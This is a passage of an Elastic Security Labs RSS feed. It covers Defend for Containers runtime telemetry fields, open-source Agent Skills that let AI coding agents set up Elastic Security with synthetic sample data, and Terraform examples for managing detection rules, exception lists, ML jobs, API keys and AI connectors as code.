<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image9.png" alt="Figure 12: Defend for Containers’ important host.* fields overview" title="Figure 12: Defend for Containers’ important `host.*` fields overview" /></p>
<p>The <code>host.name</code> field identifies the node on which the container is running, while <code>host.os.*</code> provides operating system details such as distribution and kernel version. The <code>host.architecture</code> field indicates the CPU architecture, which can be relevant when analyzing binary execution or kernel-specific behavior.</p>
<p>One particularly useful field is <code>host.pid_ns_ino</code>, which identifies the PID namespace. This field allows container activity to be correlated with host-level process and kernel telemetry, and is especially valuable when investigating container escape attempts or node-level impact.</p>
<p>This host context is critical when analyzing cloud-native attacks, as multiple containers often share the same host and kernel, and a container's runtime behavior can have implications beyond its boundaries.</p>
<h4>Container and orchestrator context</h4>
<p>Defend for Containers' primary strength lies in its container awareness. Every runtime event is enriched with container and orchestration metadata, allowing activity to be analyzed in the context of <em>what</em> is running, <em>where it is running</em>, and <em>with which privileges</em>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image8.png" alt="Figure 13: Defend for Containers’ important container.* fields overview" title="Figure 13: Defend for Containers’ important `container.*` fields overview" /></p>
<p>At the container level, fields such as <code>container.id</code> and <code>container.name</code> uniquely identify the running container, while <code>container.image.name</code>, <code>container.image.tag</code>, and the image hash provide visibility into the workload’s origin and version. This is especially useful for distinguishing between expected utility images and unexpected or ad hoc workloads.</p>
<p>A key field for risk assessment is <code>container.security_context.privileged</code>. This field explicitly indicates whether a container is running in privileged mode. When privileged execution is combined with other signals such as interactive shells or broad Linux capabilities, the risk profile of any detected activity increases significantly.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image3.png" alt="Figure 14: Defend for Containers’ important orchestrator.* fields overview" title="Figure 14: Defend for Containers’ important `orchestrator.*` fields overview" /></p>
<p>Defend for Containers also enriches events with orchestration context. Fields such as <code>orchestrator.cluster.name</code>, <code>orchestrator.namespace</code>, and <code>orchestrator.resource.name</code> (typically the Pod name) tie runtime behavior back to Kubernetes workloads. Labels exposed via <code>orchestrator.resource.label</code> further allow detections to incorporate workload intent and ownership.</p>
<p>For detection engineering, this context enables precise scoping of detections to:</p>
<ul>
<li>specific namespaces (for example, <code>kube-system</code>),</li>
<li>privileged or high-risk containers,</li>
<li>workloads with sensitive labels,</li>
<li>or known utility images such as <code>netshoot</code>, <code>kubectl</code>, or <code>curl</code>.</li>
</ul>
<p>This layer of enrichment allows container-aware detection logic to be expressed directly, without having to infer intent indirectly from filesystem paths, cgroups, or namespace identifiers.</p>
<h3>Process events</h3>
<p>Process execution is one of the most important signal types that Defend for Containers provides. Process events capture <code>fork</code>, <code>exec</code>, and <code>end</code> activities within containers and expose detailed lineage information critical to understanding how execution unfolds at runtime.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image12.png" alt="Figure 15: Defend for Containers’ important process.* fields overview" title="Figure 15: Defend for Containers’ important `process.*` fields overview" /></p>
<p>Several fields are particularly important for detection engineering. The combination of <code>process.name</code> and <code>process.executable</code> identifies what was executed and from where, while <code>process.args</code> provides insight into how it was invoked. Fields such as <code>process.pid</code>, <code>process.start</code>, <code>process.end</code>, and <code>process.exit_code</code> describe the process lifecycle and are useful for timing analysis and execution-flow reconstruction. The <code>process.entity_id</code> provides a stable identifier that allows processes to be tracked across multiple related events.</p>
<p>Defend for Containers also captures rich ancestry information. Fields under <code>process.parent.*</code> describe the immediate parent process, making it possible to detect suspicious parent–child relationships such as shells spawned by unexpected binaries. In addition, <code>process.entry_leader.*</code> and <code>process.session_leader.*</code> provide higher-level anchors within the process tree.</p>
<p>Much like Elastic Defend, Defend for Containers models processes as a graph rather than isolated events. The entry leader is especially useful in container environments, as it often represents the initial process launched by the container runtime (for example, <code>containerd</code>, <code>runc</code>, or a shell specified as the container entrypoint). Anchoring detections to the entry leader allows process trees to be interpreted consistently, even when containers spawn many short-lived child processes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image15.png" alt="Figure 16: Defend for Containers’ important process.session* fields overview" title="Figure 16: Defend for Containers’ important `process.session*` fields overview" /></p>
<p>Session leader fields provide additional context about interactive execution and session boundaries, helping distinguish background services from interactive or attacker-driven activity.</p>
<p>Together, these fields make it possible to express detection logic that goes beyond single executions and instead reasons about execution chains, lineage, and intent, which is essential for detecting real-world container attack techniques.</p>
<h4>Capabilities and privilege context</h4>
<p>One of the more powerful aspects of the Defend for Containers process events is the inclusion of Linux capability information. For each process, Defend for Containers exposes both the effective and permitted capability sets via:</p>
<ul>
<li><code>process.thread.capabilities.effective</code></li>
<li><code>process.thread.capabilities.permitted</code></li>
</ul>
<p>These fields describe what a process is actually allowed to do at runtime, independent of its user ID or container boundary.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image14.png" alt="Figure 17: Defend for Containers’ important process.thread.capabilities.* fields overview" title="Figure 17: Defend for Containers’ important `process.thread.capabilities.*` fields overview" /></p>
<p>In privileged containers, processes often expose a broad set of effective capabilities, including highly sensitive ones such as <code>CAP_SYS_ADMIN</code>, <code>CAP_SYS_MODULE</code>, <code>CAP_SYS_PTRACE</code>, <code>CAP_SYS_RAWIO</code>, and <code>CAP_BPF</code>. The presence of these capabilities significantly changes the risk profile of any executed command, as they enable actions that can directly impact the host kernel or other workloads.</p>
<p>From a detection engineering perspective, this context is critical. It allows detections to move beyond simple process-name matching and instead reason about <em>impact</em>. The same binary execution can have vastly different implications depending on whether it runs with a minimal capability set or with near-host-level privileges.</p>
<p>In practice, capability data enables detection engineers to:</p>
<ul>
<li>Identify suspicious tooling executed inside overly permissive containers.</li>
<li>Correlate runtime behavior with dangerous capability combinations.</li>
<li>Prioritize alerts based on actual exploitation potential rather than surface-level activity.</li>
</ul>
<p>This becomes especially relevant to container breakout research, where the presence or absence of specific capabilities often determines whether an exploit is viable.</p>
<h4>Interactive execution</h4>
<p>The <code>process.interactive</code> field indicates whether a process is associated with an interactive session. In container environments, interactive execution is relatively rare for production workloads and often correlates strongly with post-compromise or hands-on-keyboard activity.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image4.png" alt="Figure 18: Defend for Containers’ important process.*.interactive fields overview" title="Figure 18: Defend for Containers’ important `process.*.interactive` fields overview" /></p>
<p>Defend for Containers exposes interactivity not only at the process level, but also across related execution contexts, including <code>process.parent.interactive</code>, <code>process.entry_leader.interactive</code>, and <code>process.session_leader.interactive</code>. This makes it possible to determine whether an entire execution chain is interactive, rather than relying on a single process flag in isolation.</p>
<p>Common examples of interactive execution within containers include spawning a <code>bash</code> or <code>sh</code> shell, running interactive utilities such as <code>curl</code>, <code>kubectl</code>, or <code>busybox</code>, or operator-driven reconnaissance within a compromised Pod. While these actions may be legitimate during debugging, they are uncommon in steady-state production workloads.</p>
<p>When combined with container image, namespace, and privilege context, interactive execution becomes a strong anomaly signal. It allows detection logic to distinguish between expected automated container behavior and activity more consistent with manual intervention or attacker-driven exploration.</p>
<h3>File events</h3>
<p>Defend for Containers file events capture filesystem activity inside containers, and are emitted for a variety of operations. Unlike traditional file integrity monitoring, these events are runtime-aware and scoped to container workloads, providing context about <em>how</em> and <em>why</em> file changes occur.</p>
<p>Defend for Containers can detect file activity such as file opens <strong>with write intent</strong>, content modifications, file creations, renames, permission changes, and deletions. By focusing on write-oriented operations, Defend for Containers emphasizes behavior that alters system state rather than passive file access.</p>
<p>This allows detection engineers to reason about file usage patterns at runtime, not just the result of a change.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image6.png" alt="Figure 19: Defend for Containers’ important file events overview" title="Figure 19: Defend for Containers’ important `file` events overview" /></p>
<p>Several fields are particularly important when building file-based detections. The <code>file.path</code> and <code>file.name</code> fields identify the affected file and its location, while <code>file.extension</code> can help distinguish binaries, scripts, and configuration files. The <code>event.action</code> and <code>event.type</code> fields describe what operation occurred and how it should be interpreted in the event lifecycle.</p>
<p>Together, these fields allow Defend for Containers to distinguish benign file access from suspicious modification patterns, such as writing binaries or changing permissions within sensitive directories.</p>
<h3>Bringing it together</h3>
<p>As with any other data source, Defend for Containers telemetry becomes truly valuable once you understand how to combine fields across the process, file, container, and orchestration domains. Rather than relying on static indicators, Defend for Containers enables detection engineering based on runtime behavior, privilege context, and workload identity.</p>
<h2>Conclusion</h2>
<p>Defend for Containers in Elastic Stack 9.3.0 includes container runtime detection as a core component of Linux detection engineering. It features a clear scope, a policy-driven configuration model, and runtime telemetry designed specifically for containerized workloads.</p>
<p>In this post, we examined how to deploy Defend for Containers, how its policy model is structured, and how runtime events are generated and enriched with container and orchestration context. We explored the structure of process and file events, capability metadata, interactive execution signals, and container-specific fields that allow detections to be expressed in a workload-aware manner.</p>
<p>The key takeaway is that effective container detection requires reasoning about runtime behavior in context: processes, file modifications, privileges, and workload identity must be evaluated together. Defend for Containers provides the necessary telemetry to make that possible.</p>
<p>In the next article, we will build on this foundation by walking through a realistic container attack scenario and demonstrating how Defend for Containers telemetry surfaces each stage of compromise in practice.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/getting-started-with-defend-for-containers.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Get started with Elastic Security from your AI agent]]></title>
            <link>https://www.elastic.co/fr/security-labs/agent-skills-elastic-security</link>
            <guid>agent-skills-elastic-security</guid>
            <pubDate>Tue, 17 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Go from zero to a fully populated Elastic Security environment without leaving your IDE, using open source Agent Skills.]]></description>
            <content:encoded><![CDATA[<h2>Get started with Elastic Security from your AI agent</h2>
<p><a href="https://github.com/elastic/agent-skills/tree/main">Elastic Agent Skills</a> are open source packages that give your AI coding agent native Elastic expertise. If you're already using <a href="https://www.elastic.co/fr/security-labs/from-alert-fatigue-to-agentic-response">Elastic Agent Builder</a>, you get AI agents that work natively with your security data. Agent Skills are for the other side: bringing that same Elastic Security knowledge to the external AI tools your team already uses, like Cursor, Claude Code, or GitHub Copilot.</p>
<p>If you use an AI coding agent and want to evaluate Elastic Security, or you're a security team that wants to get up and running with Elastic Security fast without navigating setup docs, these are for you. Today we're shipping security skills that take you from zero to a fully populated Elastic Security environment, without leaving your integrated development environment (IDE).</p>
<p>Before you dive in, note that this is a v0.1.0 release. Also, review <a href="https://github.com/elastic/agent-skills/blob/main/README.md">this documentation</a> for steps to get started and important security considerations.</p>
<h3>Step 1: Create a security project</h3>
<p>You open your AI coding agent and prompt: <em>Create a Security project on Elastic Cloud.</em></p>
<p>The <a href="https://github.com/elastic/agent-skills/tree/main/skills/cloud/create-project"><code>create-project</code></a> skill provisions an Elastic Cloud Serverless Security project via the Elastic Cloud API, handles credentials securely, and hands you back your Elasticsearch and Kibana URLs.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/agent-skills-elastic-security/image1.png" alt="Confirmation message showing a new Elastic Security project named “security‑eval” created in the us‑east‑1 region, with saved credentials and links to Elasticsearch and Kibana." title="Confirmation message showing a new Elastic Security project named “security‑eval” created in the us‑east‑1 region, with saved credentials and links to Elasticsearch and Kibana." /></p>
<p>Elastic Cloud Serverless supports regions across Amazon Web Services (AWS), Google Cloud Platform (GCP), and Azure, so you can pick whichever fits your environment.</p>
<p>One prompt. Project ready.</p>
<h3>Step 2: Generate sample data</h3>
<p>An empty Elastic Security project isn't very convincing. No alerts, no timelines, no process trees. You need data, but you don't always want to enable real sources of data before you've had a chance to explore.</p>
<p>The <a href="https://github.com/elastic/agent-skills/tree/main/skills/security/generate-security-sample-data"><code>generate-security-sample-data</code></a> skill populates your project with realistic, Elastic Common Schema–compliant (ECS-compliant) security events and synthetic alerts across four attack scenarios:</p>
<ul>
<li><strong>Windows ransomware chain:</strong> Word macro to PowerShell to ransomware deployment, complete with process trees that light up the Analyzer view.</li>
<li><strong>Credential access:</strong> LSASS memory dumps and credential harvesting.</li>
<li><strong>AWS cloud privilege escalation:</strong> IAM policy manipulation and unauthorized access key creation.</li>
<li><strong>Okta identity attack:</strong> Multifactor authentication (MFA) factor deactivation and suspicious authentication patterns.</li>
</ul>
<p>These aren't random events. Every alert maps to <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/mitre-attandckr-coverage"><strong>MITRE ATT&amp;CK</strong></a> techniques. Process trees have proper entity IDs so the <strong>Analyzer</strong> renders real parent-child relationships. <strong>Attack Discovery</strong> picks up the correlated threat narratives. You get the experience of a live environment without needing one.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/agent-skills-elastic-security/image4.png" alt="Interface showing generated sample security data with 301 indexed events, 15 synthetic alerts, and a prompt to open Kibana Security alerts." title="Interface showing generated sample security data with 301 indexed events, 15 synthetic alerts, and a prompt to open Kibana Security alerts." /></p>
<p>When you're done exploring, ask your AI coding agent to remove the sample data. All sample events, alerts, and cases are cleaned up without affecting the rest of your environment.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/agent-skills-elastic-security/image2.png" alt="Terminal output confirming that sample events, alerts, and cases have been removed." title="Terminal output confirming that sample events, alerts, and cases have been removed." /></p>
<h3>Step 3: What's next after sample data</h3>
<p>Once your environment is populated, the same AI coding agent can help you work with it. We're also shipping skills for <a href="https://github.com/elastic/agent-skills/tree/main/skills/security/alert-triage"><strong>alert triage</strong></a> (fetch and investigate alerts, classify threats, and acknowledge alerts), <a href="https://github.com/elastic/agent-skills/tree/main/skills/security/detection-rule-management"><strong>detection rule management</strong></a> (find noisy rules, add exceptions, and create new coverage), and <a href="https://github.com/elastic/agent-skills/tree/main/skills/security/case-management"><strong>case management</strong></a> (create and track security operations center [SOC] cases and link alerts to incidents).</p>
<h3>Why skills, not just docs?</h3>
<p>Elastic's API documentation is <a href="https://www.elastic.co/fr/docs/api/">public</a>. Your AI agent can already read it. So why do skills matter?</p>
<p>Skills matter because docs describe individual endpoints and encode workflows. There's a real gap between knowing that <code>POST /api/detection_engine/signals/search</code> exists and knowing that you need to fetch the oldest unacknowledged alert, query the process tree and related alerts within a five-minute window of the trigger time, check for an existing case before creating a new one, attach the alert with its rule UUID, and then acknowledge all related alerts on the same host, in that order, with the right field names, across three different APIs.</p>
<p>Skills also encode what <em>not</em> to do: Never display credentials in chat, confirm before creating billable resources, and handle Serverless-specific API quirks. This is the expert knowledge that turns a general-purpose AI agent into one that actually knows Elastic.</p>
<h3>Get started</h3>
<p>All <a href="https://github.com/elastic/agent-skills">skills</a> are open source and work with any supported AI coding agent:</p>
<ul>
<li>Cursor</li>
<li>Claude Code</li>
<li>GitHub Copilot</li>
<li>Windsurf</li>
<li>Cline</li>
<li>OpenCode</li>
<li>Gemini CLI</li>
</ul>
<p>Open a terminal in your project workspace and run:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/agent-skills-elastic-security/image3.png" alt="Code line: npx skills add elastic/agent-skills." title="Code line: npx skills add elastic/agent-skills" /></p>
<p>Or install specific skills:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/agent-skills-elastic-security/image5.png" alt="Code lines to add specific skills." title="Code lines to add specific skills." /></p>
<p>Check out the full catalog at <a href="https://github.com/elastic/agent-skills">github.com/elastic/agent-skills</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/agent-skills-elastic-security/agent-skills-elastic-security.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Manage your Elastic security stack as code with the Elastic Stack Terraform provider]]></title>
            <link>https://www.elastic.co/fr/security-labs/manage-elastic-with-terraform</link>
            <guid>manage-elastic-with-terraform</guid>
            <pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[From detection rules to AI connectors - the latest Terraform provider releases bring security, observability, and ML capabilities to your infrastructure-as-code workflows.]]></description>
            <content:encoded><![CDATA[<p>The <a href="https://registry.terraform.io/providers/elastic/elasticstack/latest/docs">Elastic Stack Terraform provider</a> has reached a significant milestone. Starting with release v0.13.1, you can manage your Elastic security posture - detection rules, exception lists, and prebuilt rules - alongside ML anomaly detection jobs, synthetics monitors, and AI connectors, all as code.</p>
<p>This brings your detection logic and ML jobs into the same versioned, peer-reviewed workflow as your core clusters. It ensures your security posture and AI connectors are no longer manual outliers in an otherwise automated environment.</p>
<h2>The challenge: Security and observability configuration at scale</h2>
<p>As Elastic deployments grow, so does the complexity of managing them. Security teams maintain hundreds of detection rules. SREs configure monitoring across dozens of clusters. ML engineers tune anomaly detection jobs across multiple environments. All of these configurations must be consistent, auditable, and reproducible.</p>
<p>Without infrastructure as code, teams face two problems:</p>
<ol>
<li>
<p><strong>Configuration drift.</strong> Rules, policies, and monitors are created manually through the Kibana UI. Over time, production and staging diverge. No one is sure which version of a detection rule is running where.</p>
</li>
<li>
<p><strong>Buried audit trail.</strong> When a detection rule changes or an exception is added, there's no pull request to review, no commit history to trace, and no rollback path if something breaks. Users need to put in extra effort to access such history.</p>
</li>
</ol>
<p><a href="https://registry.terraform.io/providers/elastic/elasticstack/latest/docs">Elastic Stack Terraform provider</a> solves this by bringing these configurations into the same version-controlled, peer-reviewed workflow that teams already use for infrastructure.</p>
<h2>Security artifacts as code: Detection rules, exceptions, and prebuilt rules</h2>
<p>You can now manage the full lifecycle of Elastic Security detection rules through Terraform.</p>
<h3>Detection rules</h3>
<p>The <code>elasticstack_kibana_security_detection_rule</code> resource lets you define, version, and deploy detection rules in the <a href="https://github.com/hashicorp/hcl">HashiCorp Configuration Language</a> (HCL) format:</p>
<pre><code>resource &quot;elasticstack_kibana_security_detection_rule&quot; &quot;suspicious_admin_logon&quot; {
  name        = &quot;Suspicious Admin Logon Activity&quot;
  type        = &quot;query&quot;
  query       = &quot;event.action:logon AND user.name:admin&quot;
  language    = &quot;kuery&quot;
  enabled     = true
  description = &quot;Detects suspicious admin logon activities&quot;
  severity    = &quot;high&quot;
  risk_score  = 75
  from        = &quot;now-6m&quot;
  to          = &quot;now&quot;
  interval    = &quot;5m&quot;
  tags        = [&quot;security&quot;, &quot;authentication&quot;, &quot;admin&quot;]
}
</code></pre>
<p>This means your detection rules live in Git, undergo code review, and are deployed consistently across environments. No more clicking through the Kibana UI to replicate rules from staging to production.</p>
<p><a href="https://registry.terraform.io/providers/elastic/elasticstack/latest/docs/resources/kibana_security_detection_rule">Detection rule resource docs</a></p>
<h3>Exception lists and items</h3>
<p>The security-as-code story extends to a full suite of exception management resources:</p>
<ul>
<li><code>elasticstack_kibana_security_exception_list</code> - Create and manage exception lists</li>
<li><code>elasticstack_kibana_security_exception_item</code> - Define individual exception items within a list</li>
<li><code>elasticstack_kibana_security_list</code> and <code>elasticstack_kibana_security_list_item</code> - Manage value lists for IP allowlists, file hashes, and other indicators</li>
<li><code>elasticstack_kibana_security_list_data_streams</code> - Associate lists with specific data streams</li>
</ul>
<p>Here's an example that ties them together - an exception list with items that suppress known false positives for a detection rule:</p>
<pre><code>resource &quot;elasticstack_kibana_security_exception_list&quot; &quot;vuln_scanner_exceptions&quot; {
  list_id        = &quot;vuln-scanner-exceptions&quot;
  name           = &quot;Vulnerability Scanner Exceptions&quot;
  description    = &quot;Suppress alerts from authorized vulnerability scanners&quot;
  type           = &quot;detection&quot;
  namespace_type = &quot;single&quot;
  tags           = [&quot;security&quot;, &quot;vulnerability-scanning&quot;]
}

resource &quot;elasticstack_kibana_security_exception_item&quot; &quot;nessus_scanner&quot; {
  list_id        = elasticstack_kibana_security_exception_list.vuln_scanner_exceptions.list_id
  item_id        = &quot;nessus-scanner&quot;
  name           = &quot;Nessus Scanner - Authorized&quot;
  description    = &quot;Suppress alerts from authorized Nessus scanner hosts&quot;
  type           = &quot;simple&quot;
  namespace_type = &quot;single&quot;

  entries = [
    {
      type     = &quot;match&quot;
      field    = &quot;source.ip&quot;
      operator = &quot;included&quot;
      value    = &quot;10.0.50.10&quot;
    },
    {
      type     = &quot;match_any&quot;
      field    = &quot;process.name&quot;
      operator = &quot;included&quot;
      values   = [&quot;nessus&quot;, &quot;nessusd&quot;]
    }
  ]

  tags = [&quot;nessus&quot;, &quot;authorized-scanner&quot;]
}

resource &quot;elasticstack_kibana_security_exception_item&quot; &quot;qualys_scanner&quot; {
  list_id        = elasticstack_kibana_security_exception_list.vuln_scanner_exceptions.list_id
  item_id        = &quot;qualys-scanner&quot;
  name           = &quot;Qualys Scanner - Authorized&quot;
  description    = &quot;Suppress alerts from authorized Qualys scanner subnet&quot;
  type           = &quot;simple&quot;
  namespace_type = &quot;single&quot;

  entries = [
    {
      type     = &quot;match&quot;
      field    = &quot;source.ip&quot;
      operator = &quot;included&quot;
      value    = &quot;10.0.51.0/24&quot;
    }
  ]

  tags = [&quot;qualys&quot;, &quot;authorized-scanner&quot;]
}
</code></pre>
<p>The exception list and its items are linked by <code>list_id</code>, so Terraform manages the dependency graph automatically. Adding a new authorized scanner is a one-line PR - no clicking through the Kibana UI, no risk of forgetting which environment got the update.</p>
<h3>Prebuilt security rules</h3>
<p>The <code>elasticstack_kibana_prebuilt_rule</code> resource lets you manage Elastic's prebuilt detection rules via Terraform. This is particularly valuable for organizations that need to track which prebuilt rules are enabled, customize their parameters, and ensure consistent deployment across environments.</p>
<h2>ML anomaly detection as code</h2>
<p>Machine learning anomaly detection is one of Elasticsearch's most powerful capabilities - but managing ML jobs across environments has traditionally been a manual process. You create a job in the Kibana UI, tune the detectors, configure the datafeed, and hope someone documents the settings so they can be replicated in the next environment.</p>
<p>The <code>elasticstack_elasticsearch_ml_anomaly_detection_job</code> resource changes that. You can now define the full configuration of an anomaly detection job in HCL - detectors, bucket spans, influencers, data feeds, and analysis limits - and deploy it consistently across dev, staging, and production.</p>
<pre><code>resource &quot;elasticstack_elasticsearch_ml_anomaly_detection_job&quot; &quot;cpu_anomalies&quot; {
  job_id      = &quot;high-cpu-by-host&quot;
  description = &quot;Detect unusual CPU usage patterns&quot;

  analysis_config = {
    bucket_span = &quot;15m&quot;
    detectors   = [{
      function   = &quot;high_mean&quot;
      field_name = &quot;system.cpu.user_pct&quot;
    }]
    influencers = [&quot;host.name&quot;]
  }

  data_description = {
    time_field = &quot;@timestamp&quot;
  }
}
</code></pre>
<p>This matters for teams that rely on ML to catch infrastructure anomalies, unusual user behavior, or security threats. Instead of manually recreating jobs when spinning up new clusters or recovering from failures, the entire ML configuration lives in version control - reviewable, repeatable, and recoverable.</p>
<h2>Cross-cluster automation with API keys</h2>
<p>For organizations running multiple Elasticsearch clusters, the provider now supports <strong>cluster API keys for cross-cluster search (CCS) and cross-cluster replication (CCR)</strong>. You can create API keys specifically designed for secure cross-cluster communication, enabling end-to-end automation of multi-cluster architectures.</p>
<p>This means you can provision two clusters, configure CCS/CCR between them, and set up the necessary security credentials - all in a single Terraform configuration.</p>
<pre><code>resource &quot;elasticstack_elasticsearch_security_api_key&quot; &quot;ccs_key&quot; {
  name = &quot;cross-cluster-search-key&quot;
  type = &quot;cross_cluster&quot;

  access = {
    search = [{
      names = [&quot;logs-*&quot;, &quot;metrics-*&quot;]
    }]
    replication = [{
      names = [&quot;archive-*&quot;]
    }]
  }

  expiration = &quot;90d&quot;

  metadata = jsonencode({
    environment = &quot;production&quot;
    purpose     = &quot;ccs-ccr-between-prod-clusters&quot;
    team        = &quot;platform&quot;
  })
}
</code></pre>
<p>When the <code>type</code> is set to <code>cross_cluster</code>, the API key is scoped to CCS/CCR operations. You define which index patterns are accessible for search and replication, set an expiration policy, and tag the key with metadata - all reviewable in a pull request.</p>
<p>Learn more about <a href="https://registry.terraform.io/providers/elastic/elasticstack/latest/docs/resources/elasticsearch_security_api_key">API key resources</a> in the documentation.</p>
<h2>AI connectors as code</h2>
<p>The provider now supports <code>.bedrock</code> and <code>.gen-ai</code> connectors, bringing AI infrastructure into your Terraform workflows. As teams increasingly integrate large language models into their Elastic workflows - for AI assistants, attack discovery, and automated investigations - managing these connector configurations as code becomes essential.</p>
<pre><code>resource &quot;elasticstack_kibana_action_connector&quot; &quot;bedrock&quot; {
  name              = &quot;aws-bedrock&quot;
  connector_type_id = &quot;.bedrock&quot;
  config = jsonencode({
    apiUrl       = &quot;https://bedrock-runtime.us-east-1.amazonaws.com&quot;
    defaultModel = &quot;anthropic.claude-v2&quot;
  })
  secrets = jsonencode({
    accessKey = var.aws_access_key
    secret    = var.aws_secret_key
  })
}

resource &quot;elasticstack_kibana_action_connector&quot; &quot;openai&quot; {
  name              = &quot;openai&quot;
  connector_type_id = &quot;.gen-ai&quot;
  config = jsonencode({
    apiProvider  = &quot;OpenAI&quot;
    apiUrl       = &quot;https://api.openai.com/v1/chat/completions&quot;
    defaultModel = &quot;gpt-4&quot;
  })
  secrets = jsonencode({
    apiKey = var.openai_api_key
  })
}
</code></pre>
<p>With these connectors defined in Terraform, you can version your AI integration configuration alongside the rest of your Elastic infrastructure - and swap models or providers through a simple PR.</p>
<h2>Observability enhancements</h2>
<h3>Synthetics monitors</h3>
<p>The <code>elasticstack_kibana_synthetics_monitor</code> resource now includes a <code>labels</code> field, enabling better organization and filtering of synthetic checks. Labels let you tag monitors by team, environment, or service, making it easier to manage synthetic monitoring at scale.</p>
<h2>Additional platform improvements</h2>
<p>Recent releases also included several resources and attributes that round out the provider's coverage:</p>
<ul>
<li><code>elasticstack_elasticsearch_alias</code> - Manage Elasticsearch aliases as a dedicated resource</li>
<li><code>elasticstack_kibana_default_data_view</code> - Set the default data view for a Kibana space</li>
<li><code>solution</code> attribute on <code>elasticstack_kibana_space</code> - Configure the solution type for Kibana spaces (available from 8.16)</li>
<li>Fleet agent policy enhancements - <code>host_name_format</code> for configuring hostname vs. FQDN, and <code>required_versions</code> for version pinning</li>
</ul>
<h2>Getting started</h2>
<p>If you're already using the Elastic Stack Terraform provider, upgrade to the latest provider version to get all of these capabilities:</p>
<pre><code>terraform {
  required_providers {
    elasticstack = {
      source  = &quot;elastic/elasticstack&quot;
      version = &quot;~&gt; 0.14&quot;
    }
  }
}
</code></pre>
<p>If you're new to managing your Elastic Stack with Terraform, start with the <a href="https://registry.terraform.io/providers/elastic/elasticstack/latest/docs">provider documentation</a> on the Terraform registry.</p>
<p>To start using Elastic Cloud today, log in to the <a href="https://cloud.elastic.co/">Elastic Cloud console</a> or sign up for a <a href="https://cloud.elastic.co/registration">free trial</a>.<br />
For the full set of changes, check out the <a href="https://github.com/elastic/terraform-provider-elasticstack/releases">release notes on GitHub</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/manage-elastic-with-terraform/manage-elastic-with-terraform.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>